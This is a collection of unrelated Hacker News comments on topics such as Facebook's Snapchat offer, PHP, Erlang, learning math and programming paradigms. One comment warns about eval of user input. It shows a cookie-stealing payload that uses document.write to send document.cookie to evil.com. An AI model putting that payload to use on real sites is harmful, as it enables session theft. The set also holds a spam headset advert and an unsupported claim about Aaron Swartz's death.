skysight-inc/HackerNews huggingface dataset:
This isn’t business as usual
Zuck turned down a billion. How much is Facebook worth now?
Snapchat needs to be valued not as a social network, maybe as a amateur porn company.

I have lots of friends who use Snapchat (mostly the teen to college demographic), and they all use it for photos that they don't want other people to ever see. They use iMessage or Whatsapp for everything normal.

The user generated content literally disappears in 10 seconds, and you are left with... nothing.
massive difference. decent retirement money versus 'do whatever you want for the rest of your life' money
I think it's an issue of signalling. In Econ they call it information asymmetry. When one party knows more than the other they try to give us "signals" to show their quality. It seems as though as packaging yourself as a company you've managed to signal that it's a serious endeavor as opposed to a passing freelance gig.
$3,000,000,000. All cash.

I'm definitely not a visionary, since that rejection doesn't sound to me like a smart move.

What do you the secret plans of Snapchat are? Obviously they think they can get a greater offer in the future.
Or the UK.
Hey guys, I am the co-founder of ChatTag. We would appreciate any feedback.
Agreed that there isn't any guarantee of quality work - largely it comes down to their public portfolio and referrals. At the end of the day there's a big difference between "I know this company that does great work" and "I know this guy that does great work".

As far as overhead goes - currently it's mostly the same, but part of my motivation to go the "company" route is the ability to hire someone else in the near future. Once that starts to happen there will be a lot more overhead to consider regarding labor costs, employee income taxes, hardware, etc.
Yup. The trick is picking your ideal demographic and catering your "brand" to be most attractive to them.
submitter here..

Mostly when I find a very interesting article on a Startup, I almost always think it might have been submitted on HN already so instead of using the HN search to find the article so I can read through the comments related to it, I would simply submit it using News.yc bookmarklet.

More often than not, hitting submit will take me directly to the comments and that's what I was hoping for with this submission but I wasn't lucky I guess.
That's not entirely the case - the application has to run in the environment, and for legacy apps (which most application virtualization is targeted at) Windows is a pretty decent bet.

On top of that the App-V/XenApp packaging suite are top notch and provide avenues for enterprise integrations. (I'm making a big leap assuming it's built on one of them, but it doesn't really make sense to build from scratch, as interoperability/portability would be a hassle)
You can always ask WTF. What else is the internet for? I'll try to give you a face-value answer.

If we could just sort of rewrite all of our code in a nicer language than PHP (taking it as read that most of us can think of one or two of those) with a commensurate effort, and the idea somehow just hadn't occurred to me until I read your comment, I probably would have started the project over my morning coffee.

In the real world, we have a bunch of existing software, a business to run on it, and a well-developed understanding of the pitfalls of the language and environment. There's no conceivable justification for the amount of effort it would take to rebuild our stuff from scratch in one fell swoop. PHP is a pain in my ass, I yield to almost no one in my visceral contempt for PHP, but PHP is not my problem, and it hasn't been for a long time.

What we can do, with a reasonable investment of time and energy, is move more of our business concerns into a more rigorous data store, and explore building new features against the data we model well using other languages and tools. Right now we've got various bits of tooling written in (at least) Ruby, Go, C, Perl, R, Python, and Node.js. Maybe someday we'll really zone in on something and figure out that it's a good time to start slicing off chunks of application and rebuilding them in [better language x] until the PHP has evaporated. Maybe we'll decide that everything should live in [third party system x]. Maybe we won't bother with any of this, because PHP gets a little less heinous with each passing release, we already know what we're doing with it, and there are bigger fish to fry.

Reasoning by analogy is frequently suspect anyway, but in your picture, I'm not sure how databases are barn doors. They tend, at least for the kinds of things we're doing, to be much more fundamental to the framing of the barn. Or maybe they're the stuff stashed in the hayloft. I dunno. At any rate, I don't think it's super coherent to argue that all the things must be fixed at once in order to justify improving one of the things.
Although i like Visual Studio, if you check out the link, the landing page sucks for being shown here.

No video, just text.
No screenshots, ... It just doesn't attract yet as landing page :(
Hi, I'm one of the developers. I'd be happy to answer any questions you have on this.

If you're in New York, I'd love to meet you in person at our Big Data in Excel meetup this Monday: http://www.meetup.com/DataNitro/events/149402612/

And, as the page says, we're looking for beta users! If you're interested in this, know someone who might be, or just have an opinion, I'd love to talk to you. You can comment here or reach me at ben at datanitro.com.
VS was a great product 20 years ago. Today it's looking like a mess. Does 2013 fix any of this crap: http://goldmanosi.blogspot.com/2012/05/visual-studio-is-it-g...

You called Finder a good searching tool? Are you kidding? Finder is an unmitigated piece of shit, with search being one of its most defective facets. How is it a good searching tool when it gives you a list of hits but doesn't show WHERE they are? There isn't even an OPTION to add "path" to the column headers in the search results. The only option is to click on every hit, one at a time, and peer at the status bar at the bottom of the screen to see where it is.

Also, Finder doesn't start searches in the selected folder. That folder isn't even offered as an option, either. You have to create a special search "destination", which is then permanent until you clean it up later.

Not to mention Finder's other defects, like not sorting with FOLDERS AT THE TOP. And not creating a subfolder when you say "new folder" with another one selected.

Then there's the little things, like Finder showing "disclosure triangles" on folders that don't have anything in them. Windows Explorer doesn't, which tells you at a glance when a folder's empty. At least it did, until Vista, when Microsoft inexplicably decided to hide all of the expand/collapse controls next to folders unless you happen to roll the cursor through the left pane.
Try these Wireless Bluetooth headset which is from Samsung Brand .It has built in microphone,8 hrs of of talk time too for more specs check the link if u are excited
http://indiahomedepot.com/samsung-bhm1700ipecinu-mono-blueto...
I don't have time for all that marketing stuff... I'm too busy freelancing!
Yes, I'm willing to believe it's worth nothing. I'm actually willing to believe it's worth less than nothing; that the cost of running a service processing that much data for free may be higher than the service is truly worth.

I'm not saying that's the case here, but it really is not hard to imagine. It's quite obviously possible when you're giving away physical things for free. The only difference here is that free software is a hell of a lot cheaper than free cupcakes, but the cost still isn't zero.
Interesting analogy: Erlang implements an M:N scheduling model, where it starts an OS thread for each CPU core (by default), and (preemptively) schedules its own lightweight processes on top of these threads. However, unlike OS threads, these are very lightweight: when they are created, they only need a few hundred bytes. Erlangers have been using the one process per request model for a very long time, and Erlang applications achieve massive concurrency via this.

To me it seems it is possible to do M:N right, but you need more abstraction and a different design. M:N seems to work well in Erlang-like cases (very lightweight processes on top of a kernel threads).
Of the 840 projects over 100k they looked at, 718 were not for games. So, most projects are not for games.
My high school math teacher used to say math is like handcraft. I'm a lousy student but if you have the discipline and will to learn something I'd look at where you tap out in the chapter and try to learn that. Math is based on a lot of concepts. You have to solve the problem sets in order to grasp a lot of concepts. A lot of books are very dense and theoretical. Start small. Read the college textbooks for the algorithm courses and try to solve the problem sets on your own. If you are stuck join some communities. There are subreddits and forums dedicated to math. If you ask there kindly with a concrete problem and your efforts you'll get an helpful answer. That's the only thing that works for me: Solve the problem sets on your own. Everything will be easier. And don't take shortcuts. That's at least my experience.

There is: http://en.wikipedia.org/wiki/Introduction_to_Algorithms which is pretty readable.

And there are a lot of MOOCs:

https://www.coursera.org/course/algs4partI

https://www.coursera.org/course/algs4partII

https://www.coursera.org/course/algo

https://www.coursera.org/course/algo2

If you work yourself up from there and solve one problem after another you'll be quite good at these things in a few months time.
They need to acquire because the failure of Poke likely has nothing to do with management or political baggage or cost.

SnapChat is a brand with users. Not a product. The product itself is worth very little.
Simple physics and climate
No because I believe Aaron would be upset if there weren't people fighting to right the wrongs of his death or murder.

This wasn't a clear cut case of suicide. He was practically murdered by the state. What would you do if you were facing those charges, and anyone that tried to help you being bullied to march forward with their agenda.

An agenda that the corrupt politicians in Washington are pushing. An agenda to close and wall the internet so more free people can be brought to "justice" for their crimes against corporations.
This press release explains the method of valuation:

http://37signals.com/svn/posts/1941-press-release-37signals-...

"When it comes to valuation, making money is a real obstacle. Our profitability has been a real drag on our valuation" :)
They should combine their delivery services and provide what I thought they were providing (this is still pretty cool but just saying):

Provisioning and renting out multiple devices, controlled via the AWS console (with some sort of address delivery form and ability to rent out devices, installed with a particular image).

I.e., allowing auto-provisioning to extend truly to the consumer space.
Moving your systems to "the cloud" won't change any of the problems you identify. It will just shift where they occur.
You mean it works fine in NewIE, right? :)

(That's how most people I know that do front-end work have come to call Chrome and webkits in general as there are so many chrome/webkit specific bugs and "webkit-ish standard extensions" that it feels like debugging for IE back in the day. And nowadays Firefox and IE(10+) actually have more sane behaviors and more standard compliance than Chrome. Yeah, the Chrome devs bring new features to the people faster than anyone else, but they also introduce a shitload of specific bugs that are hard to fix because just reproducing them well enough to report them is a huge pain.)
Today, Groupon's market cap is $6.88 billion. So, maybe it would have been smart to sell, but as of today, they're ahead.

I have a feeling that company wasn't quite the disaster you think it was.
Does anyone else think that this seems to be, at least to some extent, a defensive play by FB? They seem to be determined not to go the way of MySpace and are thus pursuing a strategy of acquiring whatever company/service begins to capture large swaths of their audience (e.g. Instagram).

It seems a risky bet that may backfire at some point. If they expend $3B on a company largely to reacquire the same eyeballs they once had themselves, then those eyeballs flee the acquired property, then FB will have to rinse and repeat. A few such deals of this scale and they may have a problem.

And, when you look at properties like SnapChat in particular, you see that its differentiation is somewhat gimmicky and potentially ephemeral--accelerating the need to do acquire again.
From the other side of the table - I might be much more likely to work with "John Smith, Designer", than I would with "John Smith Design Studio".

Why's that? When I work with "John Smith, Designer", I'm getting John. When I work with his design studio, he might be billing me for work done by his intern or the guy he hires that isn't as good as John.
.AXML has no relation to XAML at all. It's just plain Android layouts: when doing plain Java Android dev, they're just .xml files. I believe that Xamarin made up a new extension for them because it allows them to easily associate the file extension with a special editor in the IDE (Visual Studio and Xamarin Studio/MonoDevelop).

Xamarin's Android interface builder is actually remarkably decent.
Sounds like what AppStream is going for is Windows applications hosting, with the user I/O being shuttled to a non-Windows device. In that case, Windows Server is the only logical choice.
Probably, but I doubt you as a founder would get $1-1.2 Bil from a deal that was only $3b.

On a much larger note, I don't feel like there's a big difference beyond $20 Mil if your goal is to continue living the life you're living now, but with total financial security. I know that given the chance, that's all I'd really ask for. Anything beyond that, and the only thing I can think of to spend the money on is philanthropy.

However, I'll bet other people have different aspirations, so I guess I can't really speak on the subject.

... why am I writing this comment ...
I have a 4yo and 6yo. The 4yo can add 2 to some numbers up to about 20. The 6yo can add any single digit to any number below 100. Most of the time. They both can read pretty well. We practice both math and reading every 'school' night for about 15 minutes.

The only goal is to familiarize them with doing stuff with numbers. The 6yo's kindergarten class has heavy emphasis on math, so I try not to get in the way of what they are doing. I avoid confusion by just staying away from the same stuff (at first, I thought I'd reinforce, but that turned out to be a bad idea. The 6yo needs a disconnect from what's happening in school, not a reminder. It's tiring).

The one thing I can confidently say is that what works changes as they pick up more concepts, and have more influences on learning (ie, other parent, school, other kids). My kids are not especially smart or gifted. The trick is that we stay just at the border of what they can do. We try new things, which fuels their confidence when they get it. We practice old things, which fuels their confidence with little cost. We stay focused and brief.

I try to get as many information and pedagogical tricks as I can. But they only work, if they work, for brief points in time. Kid thinking changes much faster than adult thinking.
Meteor project structure — the way forward
> Although graphics were bad

wha? Bad? That's harsh. Maybe they aren't flashy graphics, but I wouldn't say they are remotely bad.
I agree with you 100%. I don't know why they're releasing the source code and the binaries under different licenses so hopefully someone who knows this will reply to these comments. If I find out I'll let you know.
D3.js interactive: how traffic jams happen
If I were Snowden, I'd make sure all documents leak completely if anything like that happens to me. It'd be then the best interest of the US I die of old age a good couple decades from now.

Snowden is not an amateur (like me). He has insurance all over the place.
printing in wax works great, but then you have to do lost wax:

1.attach sprues, 2.invest inplaster cast, 3. wax burn-out in kiln(which you still need), 4. centrifuge cast (with torch & crucible) 5. cast removal, 6. sprue removal (with saw, file) 7. fine clean-up (with dentist tools, fine files) 8. Surface finish.

With metal clay, you print, clean up like clay greenware, fire, and polish. equipment: printer, kiln, polishing misc.
> I'd place a bet that someone will copy that code without understanding the risks involved, and then will hack together the ability to load and save data, and then complete the puzzle by enabling you to share it.

I'd place a bet that if this did happen, it would not be on a site that stores sensitive information. And even in the ridiculously unlikely case that it did, I would still not blame that on the Fiddle. This code is perfectly safe in the situation it's used in. The idea that minimal demos must cover every conceivable situation just seems really weird to me. Most places don't even generally require real production code to deal with out-of-scope situations. (For example, most Rails apps do not include code deal with the possibility that application_controller.rb has been replaced with malicious code even though that is a huge vulnerability if the Internet has write access to application_controller.rb. They rely on external measures to ensure that situation doesn't arise.)

> People copy code, the defaults should be safer.

There is no safer default to use here AFAIK.
IKP Grand Challenges Explorations Home
The quote actually does not appear in Concepts, Techniques, and Models of Computer Programming but is Bernstein's summary of the work. Although it is an appropriate summary, it can easily be taken out of context. Van Roy and Haridi, authors of CTMCP, were mainly concerned with the trade-offs of programming paradigms. They observed that functional languages, like Haskell, and object-oriented/shared-state-concurrency languages, like Java, sit at opposite ends of a continuum. The functional paradigm is very easy to formally reason with, but can be very kludgy when expressing certain real world concepts, like state. The OO paradigm and the shared-state concurrency paradigm, on the other hand, are very powerful and expressive, but can be quite a pain to reason over. Van Roy and Haridi believed that programmers, rather than having to make a boolean decision between the two, should be allowed to work anywhere on the continuum, and they designed the Oz programming language to make that easy to do.

CTMCP is the bible for Oz. But it's more than just a language reference book. It is an exploration of this trade-off between language expressiveness and ease of comprehension. CTMCP outlines how programming concepts can be layered to form gradual steps between functional and OO languages by controlling the use of mutable state. The Oz language like Haskell, starts in a functional paradigm and makes the use of state explicit, but unlike Haskell it also tries to make the use of state easy and intuitive, rather than overly verbose. CTMCP advocates an avoidance of using a single paradigm to solve all problems.

Oz also has concurrency built in natively, and one of the overarching themes of CTMCP is that the use of concurrency greatly benefits from an understanding of this trade-off between expressiveness and ease of comprehension. Concurrency doesn't have to be difficult, and in the case of functional languages (think dataflow concurrency, as seen in Unix pipes) can be quite easy to use and comprehend. CTMCP posits that as one moves from functional to OO, concurrency analogously becomes both more expressive and more difficult to formally reason over. The use of concurrency therefore can become more tractable when programmers are made more aware of these trade-offs.

(CTMCP actually goes further and classifies the programming paradigms into an elaborate branching hierarchy, as can be seen here http://www.info.ucl.ac.be/~pvr/paradigmsDIAGRAMeng108.pdf)
Instagram would be worth north of $6B based on what, exactly? It just doesn't make any sense to me. Maybe it is because I live in Europe and Instagram is ad-free here so I can't really see it changing peoples lives.
Excluding your endpoints, do you have a current cost accounting of the entire infrastructure capex, opex, software licensing, and any professional services behind your existing 2000 seats? I work extensively in this field and the numbers they are throwing out are extremely competitive with existing on-premises View or XenDesktop implementations I've been involved with.
Apart from the fact that I think (as far as the comments that are on now) you are exaggerating quite a bit with "BUT IT DOESN'T HAVE CHARTS!!!", I also think there's no need to suggest that there's anything 'wrong' with those people.

There's the downvote button if something is really not fruitful for discussion (remember though discussion is - to a respectful extent - often enriched when people differ in their views and opinions on a subject).

I don't see why every thread on HN needs a top level comment that meta-discourages criticism.
Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare.

Consider: =document.cookie,
or
=document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
Do we know who holds the majority of the voting stock in this case?
I just hope it has good speakers. Too many of the Nexus family of devices use speakers as a place to cut corners.
DynoSRC will actually insert white space into minified files before doing the diff so it can still do line diffs. We were and are concerned about the overhead of a diff on the minfication use-case, but it's promising that some minifiers like Closure have settings you can use to ensure that two versions of a file will match up relatively well when minified. Thanks for the link!
So ... Question. Can someone please tell me what a business license is?

I'm the president of my own corporation, s corp, but have never obtained or heard of the term 'business license' except informally.
The real problem with this is that Facebook is acknowledging the value of Snapchat.
Twitter is "worth" more than BAE Systems, based on market cap.

The valuation of companies with no record of profits and no easy path to profitability is utterly ridiculous.
Eternal vigilance, that is the price we pay for freedom.
Ask HN: What do you need VC money for?
You know how you always hear about startup Foobar raising $5 million or something? Why do they need five million? What do you buy with it?
How much risk is there in not taking the offer? They're not making a $3Bn counter-bet.
TLS on port 443 is what makes SPDY / HTTP2 deployable. That way the new protocol is hidden from middle boxes that mess with port 80 traffic and would break things if the traffic didn't look like HTTP 1.x.
Well I'd argue that it might be political baggage.

Is SnapChat's product really worthless? I mean, what it offers -- the ability to casually and anonymously (...or not) send selfies and other private missives -- is clearly valuable to people. And if Facebook buys it just to shut it down, won't people just eventually flock to another service?

Or, worse, won't people stop using a FB-owned-and-operated SnapChat precisely because it is owned by FB, and thus has even less of an illusory sense of privacy? And similarly, any FB-managed service has that lack of illusory privacy and casualness...so what does FB accomplish here? The two or so years it takes before people flock to some other non-FB service?